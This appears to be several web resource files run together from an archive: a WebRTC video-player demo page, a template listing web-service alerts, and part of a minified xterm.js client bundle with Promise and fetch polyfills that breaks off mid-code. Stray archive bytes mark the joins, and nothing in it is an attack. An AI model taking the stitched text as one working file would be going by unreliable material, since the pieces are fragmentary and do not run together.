<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ" crossorigin="anonymous">
<link rel="stylesheet" type="text/css" href="assets/symple.player.css">
<link rel="stylesheet" type="text/css" href="assets/main.css">

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js" integrity="sha384-vBWWzlZJ8ea9aCX4pEW3rVHjgjt7zpkNpZk+02D9phzyeVkE+jo0ieGizqPLForn" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/1.4.5/socket.io.js"></script>

<script type="text/javascript" src="assets/symple.js"></script>
<script type="text/javascript" src="assets/symple.client.js"></script>
<script type="text/javascript" src="assets/symple.player.js"></script>
<script type="text/javascript" src="assets/symple.player.webrtc.js"></script>
<script type="text/javascript">
CLIENT_OPTIONS = {
url: '&STREAM.URL&',
secure: false,
peer: &STREAM.PEER&
}

// WebRTC config
// This is where you would add TURN servers for use in production
WEBRTC_CONFIG = {
'iceServers': [
// {'url': 'stun:stun.l.google.com:19302'}
]
}

// Intercept Symple log messages
Symple.log = function () {
var args = Array.prototype.slice.call(arguments);
$('#webrtc-logs').append(JSON.stringify(args)).append('\n');
console.log.apply(console, arguments);
}
</script>
<script type="text/javascript" src="assets/main.js"></script>
</head>
<body>
<div class="container">
<div class="alert alert-info alert-dismissible fade show" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
<strong>Hey there!</strong> This client plays the custom WebRTC video feed generated by the <code>webrtcstreamer</code> sample.
</div>

<div class="row">
<div class="col">
<div id="webrtc-video">
<div class="video-player">
</div>
</div>
</div>
</div>
<div class="row">
<div class="col">
<div class="card">
<div class="card-header">
Logs
</div>
<div class="card-block">
<pre id="webrtc-logs"></pre>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
l: websvcalert.html><?ratmpl?>
<?nocache?>
<?include "style.inc"?>
<?include "macros.html"?>
<?action "websvcalertlist"?>
<html>
<head>
<?include "setupdomain.html"?>
</head>
<body>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("schedule")?><span class="titleText">&MSG.WEBSVCALERT.TITLE&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.WEBSVCALERT.TITLE%&favicon=menu_schedule.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<center>
<table class="inner" cellpadding="3" style="margin: 20px;">
<?if WEBSVCALERTS > 0?>
<thead>
<tr>
<th>&MSG.DESC&</th>
<th>&MSG.WEBSVCALERT.CONDITION&</th>
<th>&MSG.CONFIG.NETMAINT.ACTION&</th>
</tr>
</thead>
<tbody>
<?enum "WEBSVCALERTS"?>
<tr>
<td>&ALERT.DESC&</td>
<td>&ALERT.CONDITION&</td>
<td>&ALERT.ACTION&</td>
</tr>
<?next?>
</tbody>
<?else?>
<tbody>
<tr>
<td colspan="3" align="center">&MSG.WEBSVCALERT.NOALERTS&</td>
</tr>
</tbody>
<?endif?>
</table>
</center>
</div>	
</body>
</html>%;R,xterm-client-bundle.js__q/*! For license information please see xterm-client-bundle.js.LICENSE.txt */
(()=>{var e={675:(e,t,i)=>{"use strict";i.d(t,{A:()=>a});var s=i(601),r=i.n(s),n=i(314),o=i.n(n)()(r());o.push([e.id,'/**\n * Copyright (c) 2014 The xterm.js authors. All rights reserved.\n * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License)\n * https://github.com/chjj/term.js\n * @license MIT\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the "Software"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * Originally forked from (with the author\'s permission):\n *   Fabrice Bellard\'s javascript vt100 for jslinux:\n *   http://bellard.org/jslinux/\n *   Copyright (c) 2011 Fabrice Bellard\n *   The original design remains. The terminal itself\n *   has been extended to include xterm CSI codes, among\n *   other features.\n */\n\n/**\n *  Default styles for xterm.js\n */\n\n.xterm {\n    cursor: text;\n    position: relative;\n    user-select: none;\n    -ms-user-select: none;\n    -webkit-user-select: none;\n}\n\n.xterm.focus,\n.xterm:focus {\n    outline: none;\n}\n\n.xterm .xterm-helpers {\n    position: absolute;\n    top: 0;\n    /**\n     * The z-index of the helpers must be higher than the canvases in order for\n     * IMEs to appear on top.\n     */\n    z-index: 5;\n}\n\n.xterm .xterm-helper-textarea {\n    padding: 0;\n    border: 0;\n    margin: 0;\n    /* Move textarea out of the screen to the far left, so that the cursor is not visible */\n    position: absolute;\n    opacity: 0;\n    left: -9999em;\n    top: 0;\n    width: 0;\n    height: 0;\n    z-index: -5;\n    /** Prevent wrapping so the IME appears against the textarea at the correct position */\n    white-space: nowrap;\n    overflow: hidden;\n    resize: none;\n}\n\n.xterm .composition-view {\n    /* TODO: Composition position got messed up somewhere */\n    background: #000;\n    color: #FFF;\n    display: none;\n    position: absolute;\n    white-space: nowrap;\n    z-index: 1;\n}\n\n.xterm .composition-view.active {\n    display: block;\n}\n\n.xterm .xterm-viewport {\n    /* On OS X this is required in order for the scroll bar to appear fully opaque */\n    background-color: #000;\n    overflow-y: scroll;\n    cursor: default;\n    position: absolute;\n    right: 0;\n    left: 0;\n    top: 0;\n    bottom: 0;\n}\n\n.xterm .xterm-screen {\n    position: relative;\n}\n\n.xterm .xterm-screen canvas {\n    position: absolute;\n    left: 0;\n    top: 0;\n}\n\n.xterm .xterm-scroll-area {\n    visibility: hidden;\n}\n\n.xterm-char-measure-element {\n    display: inline-block;\n    visibility: hidden;\n    position: absolute;\n    top: 0;\n    left: -9999em;\n    line-height: normal;\n}\n\n.xterm.enable-mouse-events {\n    /* When mouse events are enabled (eg. tmux), revert to the standard pointer cursor */\n    cursor: default;\n}\n\n.xterm.xterm-cursor-pointer,\n.xterm .xterm-cursor-pointer {\n    cursor: pointer;\n}\n\n.xterm.column-select.focus {\n    /* Column selection mode */\n    cursor: crosshair;\n}\n\n.xterm .xterm-accessibility,\n.xterm .xterm-message {\n    position: absolute;\n    left: 0;\n    top: 0;\n    bottom: 0;\n    right: 0;\n    z-index: 10;\n    color: transparent;\n    pointer-events: none;\n}\n\n.xterm .live-region {\n    position: absolute;\n    left: -9999px;\n    width: 1px;\n    height: 1px;\n    overflow: hidden;\n}\n\n.xterm-dim {\n    /* Dim should not apply to background, so the opacity of the foreground color is applied\n     * explicitly in the generated class and reset to 1 here */\n    opacity: 1 !important;\n}\n\n.xterm-underline-1 { text-decoration: underline; }\n.xterm-underline-2 { text-decoration: double underline; }\n.xterm-underline-3 { text-decoration: wavy underline; }\n.xterm-underline-4 { text-decoration: dotted underline; }\n.xterm-underline-5 { text-decoration: dashed underline; }\n\n.xterm-overline {\n    text-decoration: overline;\n}\n\n.xterm-overline.xterm-underline-1 { text-decoration: overline underline; }\n.xterm-overline.xterm-underline-2 { text-decoration: overline double underline; }\n.xterm-overline.xterm-underline-3 { text-decoration: overline wavy underline; }\n.xterm-overline.xterm-underline-4 { text-decoration: overline dotted underline; }\n.xterm-overline.xterm-underline-5 { text-decoration: overline dashed underline; }\n\n.xterm-strikethrough {\n    text-decoration: line-through;\n}\n\n.xterm-screen .xterm-decoration-container .xterm-decoration {\n\tz-index: 6;\n\tposition: absolute;\n}\n\n.xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer {\n\tz-index: 7;\n}\n\n.xterm-decoration-overview-ruler {\n    z-index: 8;\n    position: absolute;\n    top: 0;\n    right: 0;\n    pointer-events: none;\n}\n\n.xterm-decoration-top {\n    z-index: 2;\n    position: relative;\n}\n',""]);const a=o},334:(e,t,i)=>{"use strict";i.d(t,{A:()=>a});var s=i(601),r=i.n(s),n=i(314),o=i.n(n)()(r());o.push([e.id,"body {\n    font-family: helvetica, sans-serif, arial;\n    font-size: 1em;\n    color: #111;\n    padding: 0;\n}\n\nh1 {\n    text-align: center;\n}\n\n#terminal-container {\n    width: 100%;\n    height: 100%;\n    margin: 0 auto;\n    padding: 0;\n}\n\np {\n    font-size: 0.9em;\n    font-style: italic\n}\n\n#option-container {\n    display: flex;\n    justify-content: center;\n}\n\n.option-group {\n    display: inline-block;\n    padding-left: 20px;\n    vertical-align: top;\n}\n\n.xterm {\n    position: static; \n}\n\n.xterm .xterm-screen {\n    height: 100%;\n}\n\n#main-container {\n    width: 100%;\n    height: 100%;\n    position: absolute;\n    padding: 0px;\n    margin: 0px;\n    border: 0px;\n    top: 0px;\n    left: 0px;\n}",""]);const a=o},314:e=>{"use strict";e.exports=function(e){var t=[];return t.toString=function(){return this.map((function(t){var i="",s=void 0!==t[5];return t[4]&&(i+="@supports (".concat(t[4],") {")),t[2]&&(i+="@media ".concat(t[2]," {")),s&&(i+="@layer".concat(t[5].length>0?" ".concat(t[5]):""," {")),i+=e(t),s&&(i+="}"),t[2]&&(i+="}"),t[4]&&(i+="}"),i})).join("")},t.i=function(e,i,s,r,n){"string"==typeof e&&(e=[[null,e,void 0]]);var o={};if(s)for(var a=0;a<this.length;a++){var h=this[a][0];null!=h&&(o[h]=!0)}for(var c=0;c<e.length;c++){var l=[].concat(e[c]);s&&o[l[0]]||(void 0!==n&&(void 0===l[5]||(l[1]="@layer".concat(l[5].length>0?" ".concat(l[5]):""," {").concat(l[1],"}")),l[5]=n),i&&(l[2]?(l[1]="@media ".concat(l[2]," {").concat(l[1],"}"),l[2]=i):l[2]=i),r&&(l[4]?(l[1]="@supports (".concat(l[4],") {").concat(l[1],"}"),l[4]=r):l[4]="".concat(r)),t.push(l))}},t}},601:e=>{"use strict";e.exports=function(e){return e[1]}},964:function(e,t,i){e.exports=function(){"use strict";function e(e){return"function"==typeof e}var t=Array.isArray?Array.isArray:function(e){return"[object Array]"===Object.prototype.toString.call(e)},s=0,r=void 0,n=void 0,o=function(e,t){_[s]=e,_[s+1]=t,2===(s+=2)&&(n?n(f):S())};var a="undefined"!=typeof window?window:void 0,h=a||{},c=h.MutationObserver||h.WebKitMutationObserver,l="undefined"==typeof self&&"undefined"!=typeof process&&"[object process]"==={}.toString.call(process),d="undefined"!=typeof Uint8ClampedArray&&"undefined"!=typeof importScripts&&"undefined"!=typeof MessageChannel;function u(){var e=setTimeout;return function(){return e(f,1)}}var _=new Array(1e3);function f(){for(var e=0;e<s;e+=2)(0,_[e])(_[e+1]),_[e]=void 0,_[e+1]=void 0;s=0}var v,p,g,m,S=void 0;function b(e,t){var i=this,s=new this.constructor(w);void 0===s[y]&&I(s);var r=i._state;if(r){var n=arguments[r-1];o((function(){return O(r,s,n,i._result)}))}else B(i,s,e,t);return s}function C(e){if(e&&"object"==typeof e&&e.constructor===this)return e;var t=new this(w);return D(t,e),t}S=l?function(){return process.nextTick(f)}:c?(p=0,g=new c(f),m=document.createTextNode(""),g.observe(m,{characterData:!0}),function(){m.data=p=++p%2}):d?((v=new MessageChannel).port1.onmessage=f,function(){return v.port2.postMessage(0)}):void 0===a?function(){try{var e=Function("return this")().require("vertx");return void 0!==(r=e.runOnLoop||e.runOnContext)?function(){r(f)}:u()}catch(e){return u()}}():u();var y=Math.random().toString(36).substring(2);function w(){}var E=void 0,k=1,x=2;function L(t,i,s){i.constructor===t.constructor&&s===b&&i.constructor.resolve===C?function(e,t){t._state===k?R(e,t._result):t._state===x?T(e,t._result):B(t,void 0,(function(t){return D(e,t)}),(function(t){return T(e,t)}))}(t,i):void 0===s?R(t,i):e(s)?function(e,t,i){o((function(e){var s=!1,r=function(e,t,i,s){try{e.call(t,i,s)}catch(e){return e}}(i,t,(function(i){s||(s=!0,t!==i?D(e,i):R(e,i))}),(function(t){s||(s=!0,T(e,t))}),e._label);!s&&r&&(s=!0,T(e,r))}),e)}(t,i,s):R(t,i)}function D(e,t){if(e===t)T(e,new TypeError("You cannot resolve a promise with itself"));else if(r=typeof(s=t),null===s||"object"!==r&&"function"!==r)R(e,t);else{var i=void 0;try{i=t.then}catch(t){return void T(e,t)}L(e,t,i)}var s,r}function A(e){e._onerror&&e._onerror(e._result),M(e)}function R(e,t){e._state===E&&(e._result=t,e._state=k,0!==e._subscribers.length&&o(M,e))}function T(e,t){e._state===E&&(e._state=x,e._result=t,o(A,e))}function B(e,t,i,s){var r=e._subscribers,n=r.length;e._onerror=null,r[n]=t,r[n+k]=i,r[n+x]=s,0===n&&e._state&&o(M,e)}function M(e){var t=e._subscribers,i=e._state;if(0!==t.length){for(var s=void 0,r=void 0,n=e._result,o=0;o<t.length;o+=3)s=t[o],r=t[o+i],s?O(i,s,r,n):r(n);e._subscribers.length=0}}function O(t,i,s,r){var n=e(s),o=void 0,a=void 0,h=!0;if(n){try{o=s(r)}catch(e){h=!1,a=e}if(i===o)return void T(i,new TypeError("A promises callback cannot return that same promise."))}else o=r;i._state!==E||(n&&h?D(i,o):!1===h?T(i,a):t===k?R(i,o):t===x&&T(i,o))}var P=0;function I(e){e[y]=P++,e._state=void 0,e._result=void 0,e._subscribers=[]}var H=function(){function e(e,i){this._instanceConstructor=e,this.promise=new e(w),this.promise[y]||I(this.promise),t(i)?(this.length=i.length,this._remaining=i.length,this._result=new Array(this.length),0===this.length?R(this.promise,this._result):(this.length=this.length||0,this._enumerate(i),0===this._remaining&&R(this.promise,this._result))):T(this.promise,new Error("Array Methods must be provided an Array"))}return e.prototype._enumerate=function(e){for(var t=0;this._state===E&&t<e.length;t++)this._eachEntry(e[t],t)},e.prototype._eachEntry=function(e,t){var i=this._instanceConstructor,s=i.resolve;if(s===C){var r=void 0,n=void 0,o=!1;try{r=e.then}catch(e){o=!0,n=e}if(r===b&&e._state!==E)this._settledAt(e._state,t,e._result);else if("function"!=typeof r)this._remaining--,this._result[t]=e;else if(i===F){var a=new i(w);o?T(a,n):L(a,e,r),this._willSettleAt(a,t)}else this._willSettleAt(new i((function(t){return t(e)})),t)}else this._willSettleAt(s(e),t)},e.prototype._settledAt=function(e,t,i){var s=this.promise;s._state===E&&(this._remaining--,e===x?T(s,i):this._result[t]=i),0===this._remaining&&R(s,this._result)},e.prototype._willSettleAt=function(e,t){var i=this;B(e,void 0,(function(e){return i._settledAt(k,t,e)}),(function(e){return i._settledAt(x,t,e)}))},e}();var F=function(){function t(e){this[y]=P++,this._result=this._state=void 0,this._subscribers=[],w!==e&&("function"!=typeof e&&function(){throw new TypeError("You must pass a resolver function as the first argument to the promise constructor")}(),this instanceof t?function(e,t){try{t((function(t){D(e,t)}),(function(t){T(e,t)}))}catch(t){T(e,t)}}(this,e):function(){throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.")}())}return t.prototype.catch=function(e){return this.then(null,e)},t.prototype.finally=function(t){var i=this,s=i.constructor;return e(t)?i.then((function(e){return s.resolve(t()).then((function(){return e}))}),(function(e){return s.resolve(t()).then((function(){throw e}))})):i.then(t,t)},t}();return F.prototype.then=b,F.all=function(e){return new H(this,e).promise},F.race=function(e){var i=this;return t(e)?new i((function(t,s){for(var r=e.length,n=0;n<r;n++)i.resolve(e[n]).then(t,s)})):new i((function(e,t){return t(new TypeError("You must pass an array to race."))}))},F.resolve=C,F.reject=function(e){var t=new this(w);return T(t,e),t},F._setScheduler=function(e){n=e},F._setAsap=function(e){o=e},F._asap=o,F.polyfill=function(){var e=void 0;if(void 0!==i.g)e=i.g;else if("undefined"!=typeof self)e=self;else try{e=Function("return this")()}catch(e){throw new Error("polyfill failed because global object is unavailable in this environment")}var t=e.Promise;if(t){var s=null;try{s=Object.prototype.toString.call(t.resolve())}catch(e){}if("[object Promise]"===s&&!t.cast)return}e.Promise=F},F.Promise=F,F}()},85:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:()=>g});var s=i(72),r=i.n(s),n=i(825),o=i.n(n),a=i(659),h=i.n(a),c=i(56),l=i.n(c),d=i(540),u=i.n(d),_=i(113),f=i.n(_),v=i(675),p={};p.styleTagTransform=f(),p.setAttributes=l(),p.insert=h().bind(null,"head"),p.domAPI=o(),p.insertStyleElement=u(),r()(v.A,p);const g=v.A&&v.A.locals?v.A.locals:void 0},829:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:()=>g});var s=i(72),r=i.n(s),n=i(825),o=i.n(n),a=i(659),h=i.n(a),c=i(56),l=i.n(c),d=i(540),u=i.n(d),_=i(113),f=i.n(_),v=i(334),p={};p.styleTagTransform=f(),p.setAttributes=l(),p.insert=h().bind(null,"head"),p.domAPI=o(),p.insertStyleElement=u(),r()(v.A,p);const g=v.A&&v.A.locals?v.A.locals:void 0},72:e=>{"use strict";var t=[];function i(e){for(var i=-1,s=0;s<t.length;s++)if(t[s].identifier===e){i=s;break}return i}function s(e,s){for(var n={},o=[],a=0;a<e.length;a++){var h=e[a],c=s.base?h[0]+s.base:h[0],l=n[c]||0,d="".concat(c," ").concat(l);n[c]=l+1;var u=i(d),_={css:h[1],media:h[2],sourceMap:h[3],supports:h[4],layer:h[5]};if(-1!==u)t[u].references++,t[u].updater(_);else{var f=r(_,s);s.byIndex=a,t.splice(a,0,{identifier:d,updater:f,references:1})}o.push(d)}return o}function r(e,t){var i=t.domAPI(t);return i.update(e),function(t){if(t){if(t.css===e.css&&t.media===e.media&&t.sourceMap===e.sourceMap&&t.supports===e.supports&&t.layer===e.layer)return;i.update(e=t)}else i.remove()}}e.exports=function(e,r){var n=s(e=e||[],r=r||{});return function(e){e=e||[];for(var o=0;o<n.length;o++){var a=i(n[o]);t[a].references--}for(var h=s(e,r),c=0;c<n.length;c++){var l=i(n[c]);0===t[l].references&&(t[l].updater(),t.splice(l,1))}n=h}}},659:e=>{"use strict";var t={};e.exports=function(e,i){var s=function(e){if(void 0===t[e]){var i=document.querySelector(e);if(window.HTMLIFrameElement&&i instanceof window.HTMLIFrameElement)try{i=i.contentDocument.head}catch(e){i=null}t[e]=i}return t[e]}(e);if(!s)throw new Error("Couldn't find a style target. This probably means that the value for the 'insert' parameter is invalid.");s.appendChild(i)}},540:e=>{"use strict";e.exports=function(e){var t=document.createElement("style");return e.setAttributes(t,e.attributes),e.insert(t,e.options),t}},56:(e,t,i)=>{"use strict";e.exports=function(e){var t=i.nc;t&&e.setAttribute("nonce",t)}},825:e=>{"use strict";e.exports=function(e){if("undefined"==typeof document)return{update:function(){},remove:function(){}};var t=e.insertStyleElement(e);return{update:function(i){!function(e,t,i){var s="";i.supports&&(s+="@supports (".concat(i.supports,") {")),i.media&&(s+="@media ".concat(i.media," {"));var r=void 0!==i.layer;r&&(s+="@layer".concat(i.layer.length>0?" ".concat(i.layer):""," {")),s+=i.css,r&&(s+="}"),i.media&&(s+="}"),i.supports&&(s+="}");var n=i.sourceMap;n&&"undefined"!=typeof btoa&&(s+="\n/*# sourceMappingURL=data:application/json;base64,".concat(btoa(unescape(encodeURIComponent(JSON.stringify(n))))," */")),t.styleTagTransform(s,e,t.options)}(t,e,i)},remove:function(){!function(e){if(null===e.parentNode)return!1;e.parentNode.removeChild(e)}(t)}}}},113:e=>{"use strict";e.exports=function(e,t){if(t.styleSheet)t.styleSheet.cssText=e;else{for(;t.firstChild;)t.removeChild(t.firstChild);t.appendChild(document.createTextNode(e))}}},624:(e,t,i)=>{"use strict";i.r(t),i.d(t,{DOMException:()=>C,Headers:()=>l,Request:()=>g,Response:()=>S,fetch:()=>y});var s="undefined"!=typeof globalThis&&globalThis||"undefined"!=typeof self&&self||void 0!==i.g&&i.g||{},r={searchParams:"URLSearchParams"in s,iterable:"Symbol"in s&&"iterator"in Symbol,blob:"FileReader"in s&&"Blob"in s&&function(){try{return new Blob,!0}catch(e){return!1}}(),formData:"FormData"in s,arrayBuffer:"ArrayBuffer"in s};if(r.arrayBuffer)var n=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],o=ArrayBuffer.isView||function(e){return e&&n.indexOf(Object.prototype.toString.call(e))>-1};function a(e){if("string"!=typeof e&&(e=String(e)),/[^a-z0-9\-#$%&'*+.^_`|~!]/i.test(e)||""===e)throw new TypeError('Invalid character in header field name: "'+e+'"');return e.toLowerCase()}function h(e){return"string"!=typeof e&&(e=String(e)),e}function c(e){var t={next:function(){var t=e.shift();return{done:void 0===t,value:t}}};return r.iterable&&(t[Symbol.iterator]=function(){return t}),t}function l(e){this.map={},e instanceof l?e.forEach((function(e,t){this.append(t,e)}),this):Array.isArray(e)?e.forEach((function(e){if(2!=e.length)throw new TypeError("Headers constructor: expected name/value pair to be length 2, found"+e.length);this.append(e[0],e[1])}),this):e&&Object.getOwnPropertyNames(e).forEach((function(t){this.append(t,e[t])}),this)}function d(e){if(!e._noBody)return e.bodyUsed?Promise.reject(new TypeError("Already read")):void(e.bodyUsed=!0)}function u(e){return new Promise((function(t,i){e.onload=function(){t(e.result)},e.onerror=function(){i(e.error)}}))}function _(e){var t=new FileReader,i=u(t);return t.readAsArrayBuffer(e),i}function f(e){if(e.slice)return e.slice(0);var t=new Uint8Array(e.byteLength);return t.set(new Uint8Array(e)),t.buffer}function v(){return this.bodyUsed=!1,this._initBody=function(e){var t;this.bodyUsed=this.bodyUsed,this._bodyInit=e,e?"string"==typeof e?this._bodyText=e:r.blob&&Blob.prototype.isPrototypeOf(e)?this._bodyBlob=e:r.formData&&FormData.prototype.isPrototypeOf(e)?this._bodyFormData=e:r.searchParams&&URLSearchParams.prototype.isPrototypeOf(e)?this._bodyText=e.toString():r.arrayBuffer&&r.blob&&(t=e)&&DataView.prototype.isPrototypeOf(t)?(this._bodyArrayBuffer=f(e.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer])):r.arrayBuffer&&(ArrayBuffer.prototype.isPrototypeOf(e)||o(e))?this._bodyArrayBuffer=f(e):this._bodyText=e=Object.prototype.toString.call(e):(this._noBody=!0,this._bodyText=""),this.headers.get("content-type")||("string"==typeof e?this.headers.set("content-type","text/plain;charset=UTF-8"):this._bodyBlob&&this._bodyBlob.type?this.headers.set("content-type",this._bodyBlob.type):r.searchParams&&URLSearchParams.prototype.isPrototypeOf(e)&&this.headers.set("content-type","application/x-www-form-urlencoded;charset=UTF-8"))},r.blob&&(this.blob=function(){var e=d(this);if(e)return e;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw new Error("could not read FormData body as blob");return Promise.resolve(new Blob([this._bodyText]))}),this.arrayBuffer=function(){if(this._bodyArrayBuffer)return d(this)||(ArrayBuffer.isView(this._bodyArrayBuffer)?Promise.resolve(this._bodyArrayBuffer.buffer.slice(this._bodyArrayBuffer.byteOffset,this._bodyArrayBuffer.byteOffset+this._bodyArrayBuffer.byteLength)):Promise.resolve(this._bodyArrayBuffer));if(r.blob)return this.blob().then(_);throw new Error("could not read as ArrayBuffer")},this.text=function(){var e,t,i,s,r,n=d(this);if(n)return n;if(this._bodyBlob)return e=this._bodyBlob,i=u(t=new FileReader),r=(s=/charset=([A-Za-z0-9_-]+)/.exec(e.type))?s[1]:"utf-8",t.readAsText(e,r),i;if(this._bodyArrayBuffer)return Promise.resolve(function(e){for(var t=new Uint8Array(e),i=new Array(t.length),s=0;s<t.length;s++)i[s]=String.fromCharCode(t[s]);return i.join("")}(this._bodyArrayBuffer));if(this._bodyFormData)throw new Error("could not read FormData body as text");return Promise.resolve(this._bodyText)},r.formData&&(this.formData=function(){return this.text().then(m)}),this.json=function(){return this.text().then(JSON.parse)},this}l.prototype.append=function(e,t){e=a(e),t=h(t);var i=this.map[e];this.map[e]=i?i+", "+t:t},l.prototype.delete=function(e){delete this.map[a(e)]},l.prototype.get=function(e){return e=a(e),this.has(e)?this.map[e]:null},l.prototype.has=function(e){return this.map.hasOwnProperty(a(e))},l.prototype.set=function(e,t){this.map[a(e)]=h(t)},l.prototype.forEach=function(e,t){for(var i in this.map)this.map.hasOwnProperty(i)&&e.call(t,this.map[i],i,this)},l.prototype.keys=function(){var e=[];return this.forEach((function(t,i){e.push(i)})),c(e)},l.prototype.values=function(){var e=[];return this.forEach((function(t){e.push(t)})),c(e)},l.prototype.entries=function(){var e=[];return this.forEach((function(t,i){e.push([i,t])})),c(e)},r.iterable&&(l.prototype[Symbol.iterator]=l.prototype.entries);var p=["CONNECT","DELETE","GET","HEAD","OPTIONS","PATCH","POST","PUT","TRACE"];function g(e,t){if(!(this instanceof g))throw new TypeError('Please use the "new" operator, this DOM object constructor cannot be called as a function.');var i,r,n=(t=t||{}).body;if(e instanceof g){if(e.bodyUsed)throw new TypeError("Already read");this.url=e.url,this.credentials=e.credentials,t.headers||(this.headers=new l(e.headers)),this.method=e.method,this.mode=e.mode,this.signal=e.signal,n||null==e._bodyInit||(n=e._bodyInit,e.bodyUsed=!0)}else this.url=String(e);if(this.credentials=t.credentials||this.credentials||"same-origin",!t.headers&&this.headers||(this.headers=new l(t.headers)),this.method=(r=(i=t.method||this.method||"GET").toUpperCase(),p.indexOf(r)>-1?r:i),this.mode=t.mode||this.mode||null,this.signal=t.signal||this.signal||function(){if("AbortController"in s)return(new AbortController).signal}(),this.referrer=null,("GET"===this.method||"HEAD"===this.method)&&n)throw new TypeError("Body not allowed for GET or HEAD requests");if(this._initBody(n),!("GET"!==this.method&&"HEAD"!==this.method||"no-store"!==t.cache&&"no-cache"!==t.cache)){var o=/([?&])_=[^&]*/;o.test(this.url)?this.url=this.url.replace(o,"$1_="+(new Date).getTime()):this.url+=(/\?/.test(this.url)?"&":"?")+"_="+(new Date).getTime()}}function m(e){var t=new FormData;return e.trim().split("&").forEach((function(e){if(e){var i=e.split("="),s=i.shift().replace(/\+/g," "),r=i.join("=").replace(/\+/g," ");t.append(decodeURIComponent(s),decodeURIComponent(r))}})),t}function S(e,t){if(!(this instanceof S))throw new TypeError('Please use the "new" operator, this DOM object constructor cannot be called as a function.');if(t||(t={}),this.type="default",this.status=void 0===t.status?200:t.status,this.status<200||this.status>599)throw new RangeError("Failed to construct 'Response': The status provided (0) is outside the range [200, 599].");this.ok=this.status>=200&&this.status<300,this.statusText=void 0===t.statusText?"":""+t.statusText,this.headers=new l(t.headers),this.url=t.url||"",this._initBody(e)}g.prototype.clone=function(){return new g(this,{body:this._bodyInit})},v.call(g.prototype),v.call(S.prototype),S.prototype.clone=function(){return new S(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new l(this.headers),url:this.url})},S.error=function(){var e=new S(null,{status:200,statusText:""});return e.ok=!1,e.status=0,e.type="error",e};var b=[301,302,303,307,308];S.redirect=function(e,t){if(-1===b.indexOf(t))throw new RangeError("Invalid status code");return new S(null,{status:t,headers:{location:e}})};var C=s.DOMException;try{new C}catch(e){(C=function(e,t){this.message=e,this.name=t;var i=Error(e);this.stack=i.stack}).prototype=Object.create(Error.prototype),C.prototype.constructor=C}function y(e,t){return new Promise((function(i,n){var o=new g(e,t);if(o.signal&&o.signal.aborted)return n(new C("Aborted","AbortError"));var c=new XMLHttpRequest;function d(){c.abort()}if(c.onload=function(){var e,t,s={statusText:c.statusText,headers:(e=c.getAllResponseHeaders()||"",t=new l,e.replace(/\r?\n[\t ]+/g," ").split("\r").map((function(e){return 0===e.indexOf("\n")?e.substr(1,e.length):e})).forEach((function(e){var i=e.split(":"),s=i.shift().trim();if(s){var r=i.join(":").trim();try{t.append(s,r)}catch(e){console.warn("Response "+e.message)}}})),t)};0===o.url.indexOf("file://")&&(c.status<200||c.status>599)?s.status=200:s.status=c.status,s.url="responseURL"in c?c.responseURL:s.headers.get("X-Request-URL");var r="response"in c?c.response:c.responseText;setTimeout((function(){i(new S(r,s))}),0)},c.onerror=function(){setTimeout((function(){n(new TypeError("Network request failed"))}),0)},c.ontimeout=function(){setTimeout((function(){n(new TypeError("Network request timed out"))}),0)},c.onabort=function(){setTimeout((function(){n(new C("Aborted","AbortError"))}),0)},c.open(o.method,function(e){try{return""===e&&s.location.href?s.location.href:e}catch(t){return e}}(o.url),!0),"include"===o.credentials?c.withCredentials=!0:"omit"===o.credentials&&(c.withCredentials=!1),"responseType"in c&&(r.blob?c.responseType="blob":r.arrayBuffer&&(c.responseType="arraybuffer")),t&&"object"==typeof t.headers&&!(t.headers instanceof l||s.Headers&&t.headers instanceof s.Headers)){var 